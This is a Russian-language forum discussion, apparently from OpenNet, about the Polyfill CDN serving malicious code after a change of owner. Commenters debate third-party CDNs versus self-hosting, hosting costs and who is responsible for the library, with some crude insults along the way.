> А с твоим оно вот уже открыто, и скорее всего не одно. Ты даже и не заметишь что там еще сотня файлов по паре мегабайтиков пролетит.

То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт? Причем соединение с серваком CDN, который рядом, а не на другом конце земного шара?

Я смотрю, ты мастер альтернативных мнений.

Ответить | Правка | К родителю #99 | Наверх | Cообщить модератору

119. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от нах. (?), 26-Июн-24, 13:19 
> То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт?

именно что нет, не быстрее. Даже если все уже закэшировано, а не "начнем с dns запроса..." Причем пару (сотен) мегабайт потом все равно придется загрузить. И узким местом там будет клиентский канал (а потом клиентский браузер, которому весь этот кот исполнять).

> Причем соединение с серваком CDN, который рядом, а не на другом

он не рядом. Тебя нае...ли.

> конце земного шара?

часто ты заходишь на сервер на другом конце земного шара? Причем содержащий, видимо, ровно ничего - все ж отдается с cdn.

Ответить | Правка | Наверх | Cообщить модератору

130. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 13:44 
>> То есть, открыть новое соединение - это быстрее, чем загрузить пару мегабайт?

именно что нет, не быстрее.
> именно что нет, не быстрее

Ты только что выше писал буквально обратное. С тобой все хорошо?

> он не рядом. Тебя нае...ли.

Ну, тебе виднее. Главное, что тебя не проведешь.

> часто ты заходишь на сервер на другом конце земного шара?
> все ж отдается с cdn.

Ты уж определись, быстрее с CDN или медленее.

Ответить | Правка | Наверх | Cообщить модератору

4. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Цыган (?), 25-Июн-24, 23:21 
Для ответа на этот вопрос загуглите что такое CDN.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

7. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (7), 26-Июн-24, 00:12 
У тех, кому нужен CDN для статики, он есть свой (ну то есть арендованный, вероятно, но полностью контролируемый). На фига грузить с чужого?
Ответить | Правка | Наверх | Cообщить модератору

14. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (5), 26-Июн-24, 00:51 
Ну, сейчас примерно половина сайтов гоняет JS через jsdelivr. Пользователю быстрее загрузка страницы, владельцу сайта меньше платить за трафик.
Ответить | Правка | Наверх | Cообщить модератору

47. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (47), 26-Июн-24, 03:11 
Но ведь за трафик все равно кому-то придётся платить.

В данном случае, платит владелец jsdeliver, и наверняка платит немало. А ему какая с этого выгода?

Ответить | Правка | Наверх | Cообщить модератору

51. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от noc101 (ok), 26-Июн-24, 03:44 
Сейчас трафик стоит копейки.
Ответить | Правка | Наверх | Cообщить модератору

62. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от penetrator (?), 26-Июн-24, 06:27 
в калоклаудах стоит минимум 2 цента в пиринговые сети за 1 гб (и 5 центов в остальные), ну посчитай во что тебе выльется 1 гигабитный аплинк за месяц

я конечно понимаю, что врядли он облаччные это деливр, но не надо говорить, что трафик копеечный, смотря у кого, ну и все равно не то чтобы почти даром

Ответить | Правка | Наверх | Cообщить модератору

166. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от n00by (ok), 26-Июн-24, 15:34 
> в калоклаудах стоит минимум 2 цента в пиринговые сети за 1 гб
> (и 5 центов в остальные), ну посчитай во что тебе выльется
> 1 гигабитный аплинк за месяц

Зачем так жёстко? Тут народ миллисекунды в секунды перевести не может, надо быть толерантнее.

Ответить | Правка | Наверх | Cообщить модератору

149. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 14:09 
> Но ведь за трафик все равно кому-то придётся платить.
> В данном случае, платит владелец jsdeliver, и наверняка платит немало. А ему
> какая с этого выгода?

Массовая слежка за тем кто куда ходит, продают страховщикам, рекламным агентствам и правительствам.

Ответить | Правка | К родителю #47 | Наверх | Cообщить модератору

92. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 11:19 
> У тех, кому нужен CDN для статики, он есть свой

Лол. Не каждый крупный бизнес может себе позволить свой CDN, а про средний и мелкий вообще  думать смешно.

Ответить | Правка | К родителю #7 | Наверх | Cообщить модератору

115. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (5), 26-Июн-24, 13:07 
На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей в разных ДЦ не так уж сложно и дорого.

Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта. Вот выше толпа "одминов" в свитерах с аленями™ думает, что CDN — бесполезная выдумка девляпсов®.

Ответить | Правка | Наверх | Cообщить модератору

129. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 13:40 
> На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей
> в разных ДЦ не так уж сложно и дорого.

но совершенно неэффективно.

Скорее всего будет даже медленнее во многих случаях. География и ip сети немного разные вещи.
Да и сколько тех разных ты сможешь себе позволить (напоминаю - в них не "vrrp" должно быть, а файлики лежать физически)

> Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта.

Потому что это сказки.
Никто, ни один юзверь не уйдет с твоего сайта на другой потому что он на целых 0,1 секунды медленнее загружается.

Если ты конечно не мастер дорвеев и одноразовой рекламы.

Ответить | Правка | Наверх | Cообщить модератору

168. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от n00by (ok), 26-Июн-24, 15:38 
> Потому что это сказки.
> Никто, ни один юзверь не уйдет с твоего сайта на другой потому
> что он на целых 0,1 секунды медленнее загружается.

Пруф: при наборе "тормозит сайт" поисковик подставляет:
Ютуб
магазин из 3-х букв (и заменяет "тормозит" на "лагает"!)
одноглазники
другой магазин-барахолку
сайт транспортной компании-монополиста
ещё один магазин
ещё один магазин
...

Ответить | Правка | Наверх | Cообщить модератору

173. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 16:04 
э... ну... эта... ты б не палился так. Все же "Поисковик" для каждого - свой.

Разумеется ютуб я тоже смотрю, но одноглазики - брр... это какой-то самодонос у тебя получился.

Но в целом да, суть правильна - ХРЕН ты куда с этих сайтов денешься.

Ответить | Правка | Наверх | Cообщить модератору

225. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от n00by (ok), 27-Июн-24, 13:55 
Пузыри имеют свойство лопаться.) Одноглазики весьма настойчиво суёт, да. Наверное, очень хотят меня там видеть.
Ответить | Правка | Наверх | Cообщить модератору

196. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 18:33 
> коммерческую значимость скорости загрузки сайта

Для обеспечения необходимой скорости загрузки сайта в ситуации, когда она коммерчески значима, надо не на CDN деньги тратить, а вызвать сотрудника, ответственного за сайт и за скорость его загрузки, загрузить при нём "/" при нажатой F12, и спросить, какого х@я для простейшей странички грузятся стопиццот файлов js и css, после чего высечь розгам и и вышвырнуть с волчьим билетом.
Так что - хорошая попытка, отдел маркетинга CDN-провайдера, но нет.

Ответить | Правка | К родителю #115 | Наверх | Cообщить модератору

200. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от penetrator (?), 26-Июн-24, 19:13 
> На самом деле, настроить pdns + geoip backend и десяток vrrp-пар варнишей
> в разных ДЦ не так уж сложно и дорого.
> Другое дело — далеко не все понимают коммерческую значимость скорости загрузки сайта.
> Вот выше толпа "одминов" в свитерах с аленями™ думает, что CDN
> — бесполезная выдумка девляпсов®.

так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах? почему ты вперся в CDN? ))) притом чаще всего тормознуто и дорого если от гипескейлеров всяких и отдавать будет только статику

Ответить | Правка | К родителю #115 | Наверх | Cообщить модератору

202. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (206), 26-Июн-24, 19:47 
> так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах?

Чел, ты прежде чем умничать  хотя бы узнал, что такое пинг и от чего он зависит.

Ответить | Правка | Наверх | Cообщить модератору

213. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от penetrator (?), 27-Июн-24, 07:41 
>> так он и не нужен, кто мешает тебе сделать сайт доступный в разных географических регионах?
> Чел, ты прежде чем умничать  хотя бы узнал, что такое пинг
> и от чего он зависит.

чел ты если ничерта не понимаешь, что говоришь, иди почитай про anycast и потом мне сказки рассказывай про сферический пинг в вакууме, когда тебе edge роутер на твой пинг ответит, а не твой хост  

вот откуда вы "всезнающие" лезете? ну убирали бы свои дворы, максимум было бы грязно вокруг

Ответить | Правка | Наверх | Cообщить модератору

215. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (214), 27-Июн-24, 08:46 
> почему ты вперся в CDN?
> иди почитай про anycast

Это фантастика: недоумевать, зачем нужен CDN и тут же советовать почитать про anycast, который лежит в его основе.

Ответить | Правка | Наверх | Cообщить модератору

229. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от penetrator (?), 27-Июн-24, 19:30 
>> почему ты вперся в CDN?
>> иди почитай про anycast
> Это фантастика: недоумевать, зачем нужен CDN и тут же советовать почитать про
> anycast, который лежит в его основе.

ты совсем тугой? тебе же сказали что можно географически разнести само приложение, а не только статику из CDN

и нет anycast не лежит в основе CDN, в частности в Akamai это обычный geo DNS

я ж говорю не лезь со своим чуркадевелопмент инкорпорейтед

Ответить | Правка | Наверх | Cообщить модератору

20. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (20), 26-Июн-24, 01:25 
Там обычно только основной скрипт на 10 метров, если они ещё и доп либы к себе положат то сайт будет пол часа прогружаться.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

57. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (57), 26-Июн-24, 03:51 
И шрифтов на 5-10 метров. Зачем-то. Непонятно зачем.
Ответить | Правка | Наверх | Cообщить модератору

151. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от GG (ok), 26-Июн-24, 14:11 
> И шрифтов на 5-10 метров. Зачем-то. Непонятно зачем.

С шрифтами красивее.
Загружаются они быстро и всего один раз, работу не замедляют, сложностей никаких не добавляют, а красота остаётся навсегда.

Ответить | Правка | Наверх | Cообщить модератору

197. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 18:59 
> Загружаются они быстро

Каждый в отдельности, на фоне остального хлама - да, не очень долго. Ну, добавит каждый свои несколько секунд в общее время загрузки страницы.
> всего один раз

Это если заголовки правильно выставлены. А зачем хозяину ЦДНа позволять твоему броузеру кэшировать фонт? Ведь тогда при следующем твоём посещении этого сайта он не получит реквеста с реферером  и печенькой, и не сможет записать в своих логах, с каких страниц твой броузер обратщался за фонтом. Что он тогда продавать будет?

Ответить | Правка | Наверх | Cообщить модератору

26. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Golangdev (?), 26-Июн-24, 01:56 
Плюсую. Увы, некоторых жизнь ничему не учит. Это не первый случай, и, к сожалению не последний.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

45. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (5), 26-Июн-24, 02:53 
Обычно жизнь учит, что на коммерческих проектах подключение CDN улучшает UX и повышает конверсию.
Ответить | Правка | Наверх | Cообщить модератору

49. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Golangdev (?), 26-Июн-24, 03:37 
> Деме́нция (лат. dementia — безумие) — приобретённое слабоумие, стойкое снижение познавательной деятельности с утратой в той или иной степени ранее усвоенных знаний и практических навыков и затруднением или невозможностью приобретения новых.

https://ru.wikipedia.org/wiki/%D0%94%D0%...

Ответить | Правка | Наверх | Cообщить модератору

52. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +4 +/
Сообщение от noc101 (ok), 26-Июн-24, 03:46 
А потом ой у нас сайт увели, пользователи на онлайн казино кидает и другой зловред, но зато на 0,5% стало больше псевдографики в табличке.
Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

198. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от YetAnotherOnanym (ok), 26-Июн-24, 19:06 
Конверсию повышает кислородное дутьё, а не вот это вот.
Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

37. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +3 +/
Сообщение от НяшМяш (ok), 26-Июн-24, 02:40 
В тексте новости написано, почему в данном конкретном случае это удобно.
> Polyfill динамически оценивает текущий браузер по заголовку User Agent и для устаревших браузеров генерирует функции с реализацией недостающих методов, свойств и API

Это не статика, а сервис, который динамически выдаёт специфичные для определённого браузера полифиллы. Можно конечно и у себя захостить, но Fastly или Cloudflare использует половина интернета, ещё и бесплатно.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

43. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (5), 26-Июн-24, 02:50 
Что мешает отдать статический файл и уже на стороне клиента определить нужные функции?
Ответить | Правка | Наверх | Cообщить модератору

71. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 08:37 
> Что мешает отдать статический файл и уже на стороне клиента определить нужные функции?

Скорость загрузки всего кода вместо необходимой части (или вообще ничего, если браузер последней версии).

Ответить | Правка | Наверх | Cообщить модератору

55. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (57), 26-Июн-24, 03:50 
> Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?

Вебня, она такая вебня.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

58. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Bob (??), 26-Июн-24, 05:13 
Потому что веб м4к4ки)
Вообще: "в современных реалиях потребности в Polyfill больше нет, так как все основные браузеры в должной мере поддерживают Web API".
НУ и стоило на версию cloudflare давно переходить.

А в целом, делать апдейт до прочтения чейнджлога и тестов? - Мое почтение, добро пожаловать в печь, унтерменшен.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

68. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от onanim (?), 26-Июн-24, 08:03 
если вдруг кто ещё не знает: https://addons.mozilla.org/en-US/firefox/addon/decentraleyes/
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

102. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от нах. (?), 26-Июн-24, 11:58 
Если вдруг кто не понимает:
https://git.synz.io/Synzvato/decentraleyes/-/tree/master/res...
вот тут лежит ПОЛНЫЙ список давно никем не используемых и сто лет не обновляющихся жабоскриптовых либ, которые (и ТОЛЬКО их, и только вот этих конкретных версий) эта поделка подменяет на ходу.

Полифилов там нет, потому что это не совсем либа, и к тому же их так просто подменить не выйдет.

Добавить самостоятельно что-то свое при этом нельзя, даже если это что-то тривиальное. Автор не предусмотрел. Только разбирать пакет и собирать свой с добавленным единичным ресурсом, и так каждый раз.

Идея была не то чтоб хороша но как-то приемлема лет десять назад.

Ответить | Правка | Наверх | Cообщить модератору

72. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (74), 26-Июн-24, 08:42 
> Почему нельзя было иметь локальную копию скрипта? Что за странная склонность всё подключать к чужим сайтам, репозиториям и тд?

Почему нельзя читать новость не пятой точкой?

> Polyfill динамически оценивает текущий браузер по заголовку User Agent и для устаревших браузеров генерирует функции с реализацией недостающих методов, свойств и API

Это не статичная библиотека, а сервис.

А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

103. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от нах. (?), 26-Июн-24, 11:59 
А его серваку и не надо снабжать ей весь мир. На его полтора клиента - мощностей вполне хватит (основной контент как-то ведь отдает, и может даже - динамический, а не полтора скриптика)

Но некому поднять и обслуживать.

Ответить | Правка | Наверх | Cообщить модератору

109. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 12:35 
> А его серваку и не надо [...] На его  полтора клиента

Ты вообще о ком? И окуда заранее знаешь, что ему надо и сколько у него клиентов?

Ответить | Правка | Наверх | Cообщить модератору

169. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –2 +/
Сообщение от n00by (ok), 26-Июн-24, 15:45 
>> А его серваку и не надо [...] На его  полтора клиента
> Ты вообще о ком? И окуда заранее знаешь, что ему надо и
> сколько у него клиентов?

Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."

Ответить | Правка | Наверх | Cообщить модератору

189. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 17:18 
> Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."

Кто бы мог подумать, что один сервер слабее, чем сотня серверов раскиданых по всему земному шару.

Опеннетная логика как всегда пробивает дно.

Ответить | Правка | Наверх | Cообщить модератору

219. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от фф (?), 27-Июн-24, 11:16 
дак вам и намекают, что у одного сайта посетителей больше чем в сотню раз меньше, чем у сервиса, которым весь мир пользуется.
Ответить | Правка | Наверх | Cообщить модератору

224. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от n00by (ok), 27-Июн-24, 13:50 
>> Оттуда же, откуда ты знаешь "А у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою варсию."
> Кто бы мог подумать, что один сервер слабее, чем сотня серверов раскиданых
> по всему земному шару.
> Опеннетная логика как всегда пробивает дно.

Да где тут логика? У тебя есть данные по его серваку? Нет. Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0. Зато выводы делать горазд. И на предположения оппонента сразу же удивляешься, откуда он взял цифры. Точно так же придумал, при этом у него явно больше опыта.

Ответить | Правка | К родителю #189 | Наверх | Cообщить модератору

226. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (214), 27-Июн-24, 15:42 
> Да где тут логика? У тебя есть данные по его серваку?

Какие тебе нужны данные, чтобы понять, что при всех прочих равных у одного сервера меньше сощностей, чем у 10?

> Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0.

А ты читать умеешь? В контексте фразы "у твоего сервака 100% меньше мощностей, чем у CDN, чтобы хостить свою версию" проценты означают вероятность вероятнось.

Я не писал "на 100% меньше" или "в 100% меньше". Объясни, что ты считал?

Ответить | Правка | Наверх | Cообщить модератору

228. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от n00by (ok), 27-Июн-24, 17:41 
>> Да где тут логика? У тебя есть данные по его серваку?
> Какие тебе нужны данные, чтобы понять, что при всех прочих равных у
> одного сервера меньше сощностей, чем у 10?

Для начала, покажи данные по количеству серверов, что у него есть. Подтверди свою гипотезу про 1.

>> Ты даже считать не умеешь: "100% меньше мощностей" даёт в результате 0.
> А ты читать умеешь? В контексте фразы "у твоего сервака 100% меньше
> мощностей, чем у CDN, чтобы хостить свою версию" проценты означают вероятность
> вероятнось.

Я и прочёл: мастер риторики пытался написать красиво, а показал знание арифметики.

> Я не писал "на 100% меньше" или "в 100% меньше". Объясни, что
> ты считал?

Я считаю, что формулу полной вероятности ты в глаза не видел, стало быть не мог на неё ссылаться.

Ответить | Правка | Наверх | Cообщить модератору

81. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (81), 26-Июн-24, 09:45 
потомушта докер в бесплатном облаке
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

104. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от нах. (?), 26-Июн-24, 12:00 
чего ета - в бесплатном-то? В платном. Не из девляпсового же ж карманца.

Л-х не мамонт.

Ответить | Правка | Наверх | Cообщить модератору

82. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Соль земли (?), 26-Июн-24, 09:46 
Лень. Официальный CDN прописывают только на время разработки. В проде собирают webpack.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

85. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (85), 26-Июн-24, 10:13 
Потому что это сервис, который генерирует полифиллы для конкретной версии браузера, исходя из заголовка user-agent. Во-первых, самому такое хостить не всегда получится, там наверняка оптимизированный под эту задачу веб-сервер. Во-вторых, это ведь не только для древности, новые фичи в JS постоянно появляются, браузеры постоянно меняются, для вышедшей завтра новой версии какой-то полифилл может оказаться не нужен, и точно никто не хочет это поддерживать самостоятельно.

Тот случай, когда сторонний сервис удобен и практичен. Но на том, кто такой сервис запустил, большая ответственность, и продавать такое сомнительным китайцам... Ну, может, деньги очень нужны были, могу понять.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

101. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от нах. (?), 26-Июн-24, 11:51 
> Во-первых, самому такое хостить не всегда получится, там наверняка оптимизированный под эту
> задачу веб-сервер.

вам лучше подметать улицы. Э... нет, лучше тоже не надо. А то вы граблями будете. Вместо метлы.

> Тот случай, когда сторонний сервис удобен и практичен.

но дядин.

> Но на том, кто такой сервис запустил, большая ответственность

простите, но вы ему ничего не заплатили. И он вам ничего не должен и ни за что отвечать не собирается. Вы должны отвечать перед своими клиентами за выбор чужой халявы.

> Ну, может, деньги очень нужны были, могу понять.

ему просто стало неинтересно. А это сомнительное хобби обходилось довольно недешево. (заметьте, кстати, что в отличие от вас он не только справился с написанием и поддержкой довольно замороченного и браузерозависимого кода, но и с его хостингом на собственных ресурсах очень продолжительное время)
И вместо того чтобы просто выключить сервер и положить пол-интернета любителей удобно и практично за чужой счет, он его продал тем кто не выключит. Заодно и окупил затраты.

Ответить | Правка | Наверх | Cообщить модератору

95. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Admino (ok), 26-Июн-24, 11:23 
Веб-разраб думает, что использование стороннего скрипта напрямую с CDN стороннего скрипта приведёт к тому, что новые версии с исправленными уязвимостями будут появляться прямо на CDN, а ему не надо будет напрягаться и следить за всеми этими версиями. То, что с CDN может прилететь не только исправление уязвимости, но и новые уязвимости, веб-разраб не думает.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

159. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Kuromi (ok), 26-Июн-24, 14:54 
Локальную копию обновлять надо самостоятельно или колхозить что-то, кэшируется хуже, трафик опять же дополнительный.

Тем не менее, кто хочет - использует, иногда даже очень древние версии (что тоже не хорошо).

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

205. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (205), 26-Июн-24, 21:31 
Хостясь на AWS ты платишь за время работы, если к твоему сайту нет запросов, то ты не платишь ничего. А если к нему прилетело овердохрена, то ты банкрот. Я подозреваю, что это и приводит к тому, что люди избегают хостить что-либо, а когда надо, хостят по минимуму.
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

217. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от макак (?), 27-Июн-24, 09:03 
они прост строчки копируют, так модно
Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

8. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –7 +/
Сообщение от Аноним (8), 26-Июн-24, 00:14 
Мне одному стрёмно, что такая библиотека "продаётся" компании из Китая?
В каких еще целях окупится такой проект, если не прикрутить туда рекламу и вирусню?
Ответить | Правка | Наверх | Cообщить модератору

9. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (9), 26-Июн-24, 00:31 
Несли цивилизацию, демократию и рынок... ну донесли, чё.

Попался, к сложалению, жадноватый человек, что, к сожалению, не редкость.

Ответить | Правка | Наверх | Cообщить модератору

80. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +15 +/
Сообщение от Аноним (74), 26-Июн-24, 09:43 
> Попался, к сложалению, жадноватый человек, что, к сожалению, не редкость.

Люди использовали халявку - как сам Polyfill, так и его CDN - а жадным при этом оказался автор, который пилил это все за бесплатно.

Опеннетная логика, бессмысленная и беспощадная.

Ответить | Правка | Наверх | Cообщить модератору

21. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (20), 26-Июн-24, 01:26 
>такая

Ненужная?

Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

42. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +6 +/
Сообщение от Аноним (5), 26-Июн-24, 02:48 
> Мне одному стрёмно, что такая библиотека "продаётся" компании из Китая?

То есть, если бы её продали в Албанию, Маршалловы острова или США, было бы менее стрёмно?

Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

96. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Admino (ok), 26-Июн-24, 11:24 
Надо было в Северную Корею продать.
Ответить | Правка | Наверх | Cообщить модератору

209. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (8), 27-Июн-24, 01:54 
Назови из тех стран такие, что массово покупают опенсорсные проекты под раздачу кала в будущем.
Мне единственный пример приходит продажа Adblock Plus, но там даже рядом таким не пахло, просто
они монетизировались на неназойливой реклами например как тут на опеннете.
Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

211. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 27-Июн-24, 07:17 
покупатель ублока вроде был из правильной страны?

Ну и что такое неназойливая реклама - каждый решает сам. Этот вот китаец решил что пара окошек с онлайн-казино вполне неназойлива, ты ж наверное хочешь проиграть пару тыщ?

Ответить | Правка | Наверх | Cообщить модератору

234. Скрыто модератором  +/
Сообщение от Аноним (234), 28-Июн-24, 15:25 
Ответить | Правка | К родителю #8 | Наверх | Cообщить модератору

10. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Вы забыли заполнить поле Иаше (?), 26-Июн-24, 00:35 
||polyfill.io^$all
Ответить | Правка | Наверх | Cообщить модератору

15. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (15), 26-Июн-24, 00:51 
Хм, это права владельца продавать свой проект. Порой я тоже думаю над этим - есть некоторые популярные. Не стоит забывать что все продукты не являются ничейными если вам достались бесплатно. Это ж не помойка.
Ответить | Правка | Наверх | Cообщить модератору

60. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +3 +/
Сообщение от Аноним (60), 26-Июн-24, 06:07 
>все продукты продаются криминалу
>Это ж не помойка.

Помойка, самая настоящая, помоечный идеал.

Ответить | Правка | Наверх | Cообщить модератору

24. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (24), 26-Июн-24, 01:48 
>Проект Polyfill в феврале был продан
>Те, кому Polyfill по-прежнему необходим, могут использовать на своём сервере локальную копию на основе кода из репозитория с форком, созданным изначальным автором проекта.

То есть автор продал и тут же форк сделал? Подозревал что-то? Зачем продал тогда?

Ответить | Правка | Наверх | Cообщить модератору

27. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +7 +/
Сообщение от Аноним (27), 26-Июн-24, 02:00 
И деньги получил, и при своём остался - помоему отличная сделка
Ответить | Правка | Наверх | Cообщить модератору

70. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (70), 26-Июн-24, 08:32 
почему тут же? как вы пришли к этому выводу?
люди начали жаловаться, что новый владелец творит какую-то дичь и автор создал форк, но не стал его нигде разворачивать. Просто заведомо чистый код выложил из-за жалоб
Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

32. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +4 +/
Сообщение от Аноним (33), 26-Июн-24, 02:15 
А не надо делать сайты, где приходится "для обеспечения совместимости со старыми версиями браузеров"!! Делайте сайты сразу для старых браузеров. И без долбаного жабоскрипта!
Ответить | Правка | Наверх | Cообщить модератору

36. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (36), 26-Июн-24, 02:39 
Дорогая поддержка как правило получается. Да и множество веб-программистов не знают как без жабоскрипта. Хотя мне идея нравится - поддержка netsurf на Kolibri как вариант.
В целом можно утверждать что жертвами должны были стать множество американских ИТ компаний корпоративных решений.
Ответить | Правка | Наверх | Cообщить модератору

39. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от НяшМяш (ok), 26-Июн-24, 02:43 
У жабоскрипт программистов есть куча инструментов для сборки сайтов под старые браузеры. Единственная проблема это CSS, который нельзя нормально заполифиллить. Но если ограничить себя ранним флексбоксом, то можно даже IE 11 поддерживать. Без флексбокса уже ну очень больно верстать.
Ответить | Правка | Наверх | Cообщить модератору

